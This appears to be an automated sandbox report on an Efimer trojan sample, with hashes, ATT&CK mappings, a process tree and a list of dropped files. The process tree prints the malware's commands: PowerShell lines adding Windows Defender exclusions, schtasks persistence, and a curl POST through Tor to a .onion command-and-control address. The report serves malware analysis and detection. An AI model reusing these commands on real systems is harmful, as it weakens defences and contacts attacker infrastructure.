efimer | ffeba325384757d1b22d585d8ad00d79ac807e13b8ad31ddb42205726b3006ef

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/05/2026, 19:53

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
common.dat.exe
Size 13.2MB
Sample260520-ymdp8sb17x
SHA256 ffeba325384757d1b22d585d8ad00d79ac807e13b8ad31ddb42205726b3006ef
MD5 e90bffc375aa853fcbaa767abb656ea3
SHA1 7573b062dea92c09f602d6c1742633ecfecb589a
SHA512 a68e00f431ae398b5a99091a9894b4bc102a093ef574d56eb84d4cc8a9debb6570a06f0ef40dcf0417c14feddb79798dac8370a0a14a95db8427116e7626c056
SSDEEP 393216:G3EprNzA2t+0yzgORl2qiR/p2trRatXMCHWUjXHcuI3/PGTAI:GEJNMx0ARlyR/p2tktXMb8X8H/O7
TLSH
T10CD6331E50E171FDC567C038AEE216F0B070B8B916328E7B5194C3F26D5B9B1A869CDB
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

execution efimer persistence spyware stealer trojan

Malware Config

Signatures

Family: Efimer
Efimer is a trojan written in JS.
trojan efimer

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2768	powershell.exe
2952	powershell.exe
3396	powershell.exe
228	powershell.exe
4528	powershell.exe
3780	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 2 IoCs

pid	Process
916	ugate.exe
1272	ugate.exe

Loads dropped DLL 15 IoCs

pid	Process
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe
5116	common.dat.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ipinfo.io
19	ipinfo.io

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3120	schtasks.exe
4448	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
5116	common.dat.exe
5116	common.dat.exe
2952	powershell.exe
2952	powershell.exe
3396	powershell.exe
3396	powershell.exe
228	powershell.exe
228	powershell.exe
4528	powershell.exe
4528	powershell.exe
2768	powershell.exe
2768	powershell.exe
3780	powershell.exe
3780	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	5116	common.dat.exe
Token: SeDebugPrivilege	2952	powershell.exe
Token: SeDebugPrivilege	3396	powershell.exe
Token: SeDebugPrivilege	228	powershell.exe
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	3780	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 4048 wrote to memory of 5116	4048	common.dat.exe	87
PID 5116 wrote to memory of 3484	5116	common.dat.exe	90
PID 3484 wrote to memory of 2952	3484	cmd.exe	92
PID 5116 wrote to memory of 4208	5116	common.dat.exe	93
PID 4208 wrote to memory of 3396	4208	cmd.exe	95
PID 5116 wrote to memory of 4440	5116	common.dat.exe	96
PID 4440 wrote to memory of 228	4440	cmd.exe	98
PID 5116 wrote to memory of 2364	5116	common.dat.exe	99
PID 2364 wrote to memory of 4528	2364	cmd.exe	101
PID 5116 wrote to memory of 1776	5116	common.dat.exe	102
PID 1776 wrote to memory of 2768	1776	cmd.exe	104
PID 5116 wrote to memory of 1324	5116	common.dat.exe	105
PID 1324 wrote to memory of 3780	1324	cmd.exe	107
PID 5116 wrote to memory of 812	5116	common.dat.exe	108
PID 5116 wrote to memory of 3120	5116	common.dat.exe	115
PID 5116 wrote to memory of 4448	5116	common.dat.exe	119
PID 1548 wrote to memory of 916	1548	wscript.exe	123
PID 1548 wrote to memory of 5028	1548	wscript.exe	126
PID 1548 wrote to memory of 1272	1548	wscript.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\common.dat.exe
"C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4048
- C:\Users\Admin\AppData\Local\Temp\common.dat.exe
  "C:\Users\Admin\AppData\Local\Temp\common.dat.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\uzaya'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3396
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4440
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2364
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4528
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1324
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Get-MpComputerStatus | Out-Null"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3780
- - C:\Windows\SYSTEM32\curl.exe
    curl -s --max-time 10 https://ipinfo.io/country
    3⤵
    PID:812
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn ufino /xml C:\Users\Public\Documents\uzaya\ufino.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3120
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn ocafa /xml C:\Users\Public\Documents\uzaya\ocafa.xml /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4448

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe
1⤵
PID:5024

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ufino.js
1⤵
PID:2400

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe C:\Users\Public\Documents\uzaya\ocafa.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Users\Public\Documents\uzaya\ugate.exe
  "C:\Users\Public\Documents\uzaya\ugate.exe"
  2⤵
  - Executes dropped EXE
  PID:916
- C:\Windows\System32\curl.exe
  "C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-b79ceaab&FLAG=0&GEIP=??&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile
  2⤵
  PID:5028
- C:\Users\Public\Documents\uzaya\ugate.exe
  "C:\Users\Public\Documents\uzaya\ugate.exe"
  2⤵
  - Executes dropped EXE
  PID:1272

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 9f7f29a4696876cadca3f14d7e43f9ede0c97fd64be3f5d94bda49a91b6a419e
MD5 e5663972c1caaba7088048911c758bf3
SHA1 3462dea0f9c2c16a9c3afdaef8bbb1f753c1c198
SHA512 ff4e72c46cf083de62baa2ce2661555dd91b5f144294015f7b262fd4500cb67fe80e1871a82da63b607e3e9cef401f4b73c587bf1134637881ecad51aad1eddc
TLSH
T1F3112223F38C8960CC96153A509DAC5172B686CB81AFDE9F7FC0C210A5BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961
MD5 15dde0683cd1ca19785d7262f554ba93
SHA1 d039c577e438546d10ac64837b05da480d06bf69
SHA512 57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672
TLSH
T1B4112223F38C8960CC961539509DAC5172B586CB81AFDE9F7FC0C210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 dc600748250d0dd0ffa2678049fd27ec8e56e262601f3d8a1fd7165b03f97fb8
MD5 3930c254bc452c4fd482e3059b51aa04
SHA1 1c4bdb41f3a7c9d4ee3b8006cc1c495eedb072e2
SHA512 888565d3356b5fc9c5b55d6842c520487219bc2220df2a56cb74686cc36ebd0fbd1ab9f2a17f93e9c15031c8d6366031a4fd2c1f8a6f8cf96bc3a5939f31a083
TLSH
T165112227F38C8920CC96163A509DAC5172B586CB91EEDF9F7FC0C211A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 c3077e4cadb4ed246c02abe55aa6cf832fee4c2546b7addb7d22cd1c7c8c1294
MD5 96e3b86880fedd5afc001d108732a3e5
SHA1 8fc17b39d744a9590a6d5897012da5e6757439a3
SHA512 909b1968f7204fa7029109b02232d8cc5438f6b4dc7c9044e4e47c59fcee538199b13029e36592b12ed573d48a308dd4822d2ced4129ab08d4111897e02be55d
TLSH
T1C1112223F38D8920CC961539509DAC5172B586CB81AFDE9F7FC0D210A1BF584CB61194
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\VCRUNTIME140.dll
Size 117KB
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e
SSDEEP 1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
TLSH
T1A2C38D4572A042F7D17AD274C1A36A17FB75B94487A0A3CF03B58A650F13BE0AE3D396
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VCRUNTIME140_1.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\VCRUNTIME140_1.dll
Size 48KB
SHA256 82a2f9ae1e6146ae3cb0f4bc5a62b7227e0384209d9b1aef86bbcc105912f7cd
MD5 68156f41ae9a04d89bb6625a5cd222d4
SHA1 3be29d5c53808186eba3a024be377ee6f267c983
SHA512 f7bf8ad7cd8b450050310952c56f6a20b378a972c822ccc253ef3d7381b56ffb3ca6ce3323bea9872674ed1c02017f78ab31e9eb9927fc6b3cba957c247e5d57
SSDEEP 768:ApzzO6ujT3MbR3v0Cz6SR8q83yaFdWr9zRcmgEl6U9zSC:9q/oGw3fFdwzRcmZFzSC
TLSH
T1A3235A9057788486D4AB95B0C1D6EF537E7CFA924710928B0BA0E59C2F637D0EB3D21A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_bz2.pyd
Size 82KB
SHA256 fc3b481684b926350057e263622a2a5335b149a0498a8d65c4f37e39dd90b640
MD5 cb8c06c8fa9e61e4ac5f22eebf7f1d00
SHA1 d8e0dfc8127749947b09f17c8848166bac659f0d
SHA512 e6da642b7200bfb78f939f7d8148581259baa9a5edda282c621d14ba88083a9b9bd3d17b701e9cde77ad1133c39bd93fc9d955bb620546bb4fcf45c68f1ec7d6
SSDEEP 1536:Kdrz7l1EVLsSuvX3dUK4MLgqK7YEog8y5sV8lIJLVy7SyFB:urzcuvXvrEo7y6V8lIJLVyB
TLSH
T16F838E42E3A56AF5F86B80B956C10367E771B954075093EFF348C2693F02F426DAC36A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_ctypes.pyd
Size 128KB
SHA256 f63c6c7e71c342084d8f1a108786ca6975a52cefef8be32cc2589e6e2fe060c8
MD5 a55e57d7594303c89b5f7a1d1d6f2b67
SHA1 904a9304a07716497cf3e4eaafd82715874c94f1
SHA512 ffa61ad2a408a831b5d86b201814256c172e764c9c1dbe0bd81a2e204e9e8117c66f5dfa56bb7d74275d23154c0ed8e10d4ae8a0d0564434e9761d754f1997fc
SSDEEP 3072:3RF024DWkT/DKGkXY402iXnVJf/FO50XnekZ39gPhvEQZIJyPArm:j0nHT/DKFXZorf/FO50uW3SEQt
TLSH
T1A2D36C0B735800AADA779178C5736F47DBF1B456171087CF02A8C5AA2F63BA26E7E341
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_decimal.pyd
Size 271KB
SHA256 b715d1c18e9a9c1531f21c02003b4c6726742d1a2441a1893bc3d79d7bb50e91
MD5 f3377f3de29579140e2bbaeefd334d4f
SHA1 b3076c564dbdfd4ca1b7cc76f36448b0088e2341
SHA512 34d9591590bba20613691a5287ef329e5927a58127ce399088b4d68a178e3af67159a8fc55b4fcdcb08ae094753b20dec2ac3f0b3011481e4ed6f37445cecdd5
SSDEEP 6144:x9iD78EIq4x4OA5bZZ0KDgQcI79qWM53pLW1AFR8E4wXw76TPlpV77777VMvyk:xwDGqr5b8EgQ5+w6k
TLSH
T138446A57A2490CA4EE73807889579B47E7F27C860360D38F43A48AA77F93393676E744
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_hashlib.pyd
Size 62KB
SHA256 838d5c8b7c3212c8429baf612623abbbc20a9023eec41e34e5461b76a285b86c
MD5 32d76c9abd65a5d2671aeede189bc290
SHA1 0d4440c9652b92b40bb92c20f3474f14e34f8d62
SHA512 49dc391f4e63f4ff7d65d6fd837332745cc114a334fd61a7b6aa6f710b235339964b855422233fac4510ccb9a6959896efe880ab24a56261f78b2a0fd5860cd9
SSDEEP 768:eNJI0DWiflFwY9X3Th1JnptE462TxNvdbj4dIJvI75YiSyvE62Em:2LDxflFwY9XDhPfVNv+dIJvIF7Syc6c
TLSH
T1F5536C01A68080A4C96782B8D9934F5BE6F2F5415791ABDF0318C1CD1F23BC3DAFA796
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_lzma.pyd
Size 154KB
SHA256 d080eabd015a3569813a220fd4ea74dff34ed2a8519a10473eb37e22b1118a06
MD5 1ba022d42024a655cf289544ae461fb8
SHA1 9772a31083223ecf66751ff3851d2e3303a0764c
SHA512 2b888a2d7467e29968c6bb65af40d4b5e80722ffdda760ad74c912f3a2f315d402f3c099fde82f00f41de6c9faaedb23a643337eb8821e594c567506e3464c62
SSDEEP 3072:KbbS4R/G4Z8r7NjwJTSUqCRY4By7znfB9mNowgn0lCelIJ012+j:KbR/8oWeBi5YOwflCe8o
TLSH
T1B9F34982A794F4E5F7728C78D6624F17E7F5781A032092DA01CC876D2B1FB659E2A313
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_socket.pyd
Size 81KB
SHA256 35246b04c6c7001ca448554246445a845ce116814a29b18b617ea38752e4659b
MD5 fe896371430bd9551717ef12a3e7e818
SHA1 e2a7716e9ce840e53e8fc79d50a77f40b353c954
SHA512 67ecd9a07df0a07edd010f7e3732f3d829f482d67869d6bce0c9a61c24c0fdc5ff4f4e4780b9211062a6371945121d8883ba2e9e2cf8eb07b628547312dfe4c9
SSDEEP 1536:XuV3gvWHQdMq3ORC/OypTXQlyJ+9+nzEYwsBI6tzOKuZIJywJ7Sy21:XuVQvcQTSypTXQlyJs+nzEYJI6QlZIJY
TLSH
T141836C11A69050FADFB3C0B5C5675E23FBB4F4801395979F0166C66A1F33382BE7AA81
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_uuid.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_uuid.pyd
Size 25KB
SHA256 f9d5008f0772aa0720bc056a6ecd5a2a3f24965e4b470b022d88627a436c1ffe
MD5 3acf3138d5550ca6de7e2580e076e0f7
SHA1 3e878a18df2362aa6f0bdbfa058dca115e70d0b8
SHA512 f05e90a0feaa2994b425884af32149fbbe2e11cb7499fc88ca92d8a74410edcd62b2b2c0f1ecd1a46985133f7e89575f2c114bd01f619c22ce52f3cf2a7e37c4
SSDEEP 384:bROw4TUyiIWlIJ0wsaHQIYiSy1pCQxHoQSJIVE8E9VF0NyEIkz:4w4TUyfWlIJ0wT5YiSyvBk2E3kz
TLSH
T19DC27F56DAA05C46DD278A70B4E24E16EEB5BA514B50C3CB3318C2950F623C37BA73F9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_wmi.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\_wmi.pyd
Size 37KB
SHA256 6435c679a3a3ff4f16708ebc43f7ca62456c110ac1ea94f617d8052c90c143c7
MD5 1c30cc7df3bd168d883e93c593890b43
SHA1 31465425f349dae4edac9d0feabc23ce83400807
SHA512 267a1807298797b190888f769d998357b183526dfcb25a6f1413e64c5dccf87f51424b7e5d6f2349d7a19381909ab23b138748d8d9f5858f7dc0552f5c5846ac
SSDEEP 768:fEkK9VgWOZbs3550QcJpPllIJLiX5YiSyvQ602Euf0:fE93jkbQcJvlIJLiJ7Syq00
TLSH
T136037E56E7940855D937C6BDC8E64E27F5B1B5825711C3CF3318826D0F32382AA7A3BA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\base_library.zip
Size 1.3MB
SHA256 c16c08f0ca5967c3a4384e83889483baff5948f74e61785b04a6ccfe929f5434
MD5 214998891ca2645161a42173a69f512b
SHA1 c889b68db375f3439425babe1d9e147ee5f123e2
SHA512 8a9a41911db5475df0b29be728da606355f8fe7795273a8856cca9eaf512b365ea2c199d70019cb504854fe617d34fcbbca0b143022c38cb2c4a80b29feed208
SSDEEP 12288:cKi2cPudx5/9W7Wpj8HS91ltzdjQSaepNLeGQbIaC6T6RXN77n2ZfuOBg80201jB:cK5cPudx5/s7WpoSH3ddHHaYsR3E
TLSH
T1AD551A92B9527953FF14F37B80B7484CF32E86A2EF00C207355A42661FFEAB49D59588
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

addrs.txt

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\addrs.txt
Size 1.4MB
SHA256 9eda4f4a69ac6eba4c9623908e8937fa71360f531582741c200724e3e2bd942e
MD5 5a70cb17d94f3fc84282c0c677fa13e8
SHA1 4ca75ccceade2a0425469177865ee3f90c038e88
SHA512 39e580acf39eef1ec1671d67d450d56e872df886e48f297fce0ba39a329b049cf0f547e49ea14e7c07f5ada6bdfba6f4afdb0251fd88e2530890f1780873ec85
SSDEEP 24576:SuJZAqsnReam1NKPHNJBZv1WNgkm4lfhfqQee5WGzdv+v:BJZ9snReaoNIYvldqQlhA
TLSH
T16665F1234B5AA638C0693E5468F311975B39914DF01F97DA2F33AABDF48B32BC09C594
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jobfs_d.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\jobfs_d.js
Size 20KB
SHA256 b6b02b339a3d97de530a0ecfa338ca1a9bd829c24f6fd34bd5d146e470177854
MD5 2833fbe8077dfa95821d89b86451fcbf
SHA1 d72c5b22d1dece800c6393661f8506d309f82078
SHA512 dfd7018f268c09a94bbbb166807e93a78c6a90b3bad1850e8b552aa5bbac202fb728b581a8b631af695bb5086fc1fb63e5fcdda5f8234dc48edf3dd377b2caef
SSDEEP 384:67wKwQH0ZhxmPh32K3FmHxoBGqoKDSFuOT+SmgrhLZug4Bfa8gNNtqe/k4dV+sai:67wxGmLmpEeB7DUuOT+zgNaBN2N4eMLi
TLSH
T129929EBEBC2380D00F132ED685EB87945554BC1830ADEF1D9B35127D97A84A7CF1EA4A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jobfs_n.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\jobfs_n.js
Size 33KB
SHA256 b3432b6a32e5cb22c9ec95ac1c4f8b84fc4db7ccc70a2a1cd92c0ad01314a836
MD5 64d557a574a15507ed50829c33008379
SHA1 d8deed4e61608d0bc2e18268408d308de9a36daa
SHA512 c89c278d5b3f8afb592a0f17009321edf8e70f2a7bc192fcd5fa89aa5e47fb0b2c34734800920619ccbe180522dc6a4e980d555fe9bb893feb261516244570ed
SSDEEP 768:+PXbvh15bXxQRU43QiUE7OKLRP4kUb842j:+jvh1VhQRqAiKLdxUb840
TLSH
T103F29E6E3C128F81360B8F58D4A747DA45446DBC22BFDB70133DA46DAA180E3947EA5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jpack.js

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\jpack.js
Size 2KB
SHA256 0b7e71ef9d4a058ac32eabc652b7f97053029e9f4a211374423b22dd5206044c
MD5 681ecc28701dd76caaf9c4a86a3323f4
SHA1 c420455b011c50e055d150c073a3fde218b4c2a7
SHA512 c367f31be40bb7fd482ac8821715371bf046852ce7b7dace3f76945797bdc47c09280ef491da42742ecea0080683c732a508d9eaffe8d35c339bf62b5fcf9fd8
TLSH
T16D510A0C1A12C695761565FA9872FA842E8C8191D9CFBADFD513F8FFA538029727D480
MD5 SHA1 SHA512 TLSH

Submit Download

task.xml

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\task.xml
Size 3KB
SHA256 b09d6c2109b6f06c86b58cee45dd2dd3e3dfca3faded4197d2d6fee5cc639580
MD5 1604f8df73707aecd3f7f198c1c07e73
SHA1 00fd5ca43b624c26bb52eeff2ecb0b2848e5feb4
SHA512 cb01ccf144d7da9f0d6b3b68c7261a977b918da372962bd137c86f2b8e3654154f425871d0767856c66ee0d28602d5720e14b937630f1dc79a74b765d68c87f3
TLSH
T14371888F813FD9CEA211BEE63563C88278945D4A04EBAC44DF7F1C26F9989D65244723
MD5 SHA1 SHA512 TLSH

Submit Download

ugate.exe

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\ugate.exe
Size 8.6MB
SHA256 000b4d6f4fe41d8b73b3ede8fab5b2c271f4b6fe1cb6ae059671392800722f47
MD5 1d25c4b7d51506422b007e1efc6d18cf
SHA1 9463ac86b6c05704daee5ef0ead642ffd0e53807
SHA512 8fe747f4e4286741f54a5a8d740662e552ebf3ef2eacd4626446caa7125eff954fcf8255f00f639dd3ac1882e4dd100e014bd2faa959c1cc6896744585eca55e
SSDEEP 196608:uEX9nphveWweg8HBxnIu9jK73qp7d2+jtpE:nphZwsIsu73qp7d7ty
TLSH
T1FB969D7B92FFEFD87B0C651D011B7C8F461BB209F9E936785E449B0462652BB314C28A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

words.txt

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\data_pack\words.txt
Size 14KB
SHA256 6526e18ac780b9f8c21bb9700beec29fd94c2be8bfdd97c9d013c24f13ef79a2
MD5 d91eee9729e0e2fe31bc83a333513f92
SHA1 8aedbb036174258ac16e8b7b5644d5493a4a9580
SHA512 dafab92a0f0ae5ed912660b6feeda12d8cf2a68d0412bba20b6339398319ce4a9cb71bf7228a5ebdd9673f2217f8977607067576cee70971afc90363e1c4e5f5
SSDEEP 384:VKrekqhTSe7WGS7Vwv4w9k02WrX8OqIN8GrsNZbz0j:VKre/FS3SXGbWrX9rsNdzE
TLSH
T143627DDC8F3481C42938413E39660494ED5DB74E6C895FDF19FE6E42978F001BA0F2AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

libcrypto-3.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI40482\libcrypto-3.dll
Size 5.0MB
SHA256 4e5d5d20d6d31e72ab341c81e97b89e514326c4c861b48638243bdf0918cfa43
MD5 123ad0908c76ccba4789c084f7a6b8d0
SHA1 86de58289c8200ed8c1fc51d5f00e38e32c1aad5
SHA512 80fae0533ba9a2f5fa7806e86f0db8b6aab32620dde33b70a3596938b529f3822856de75bddb1b06721f8556ec139d784bc0bb9c8da0d391df2c20a80d33cb04
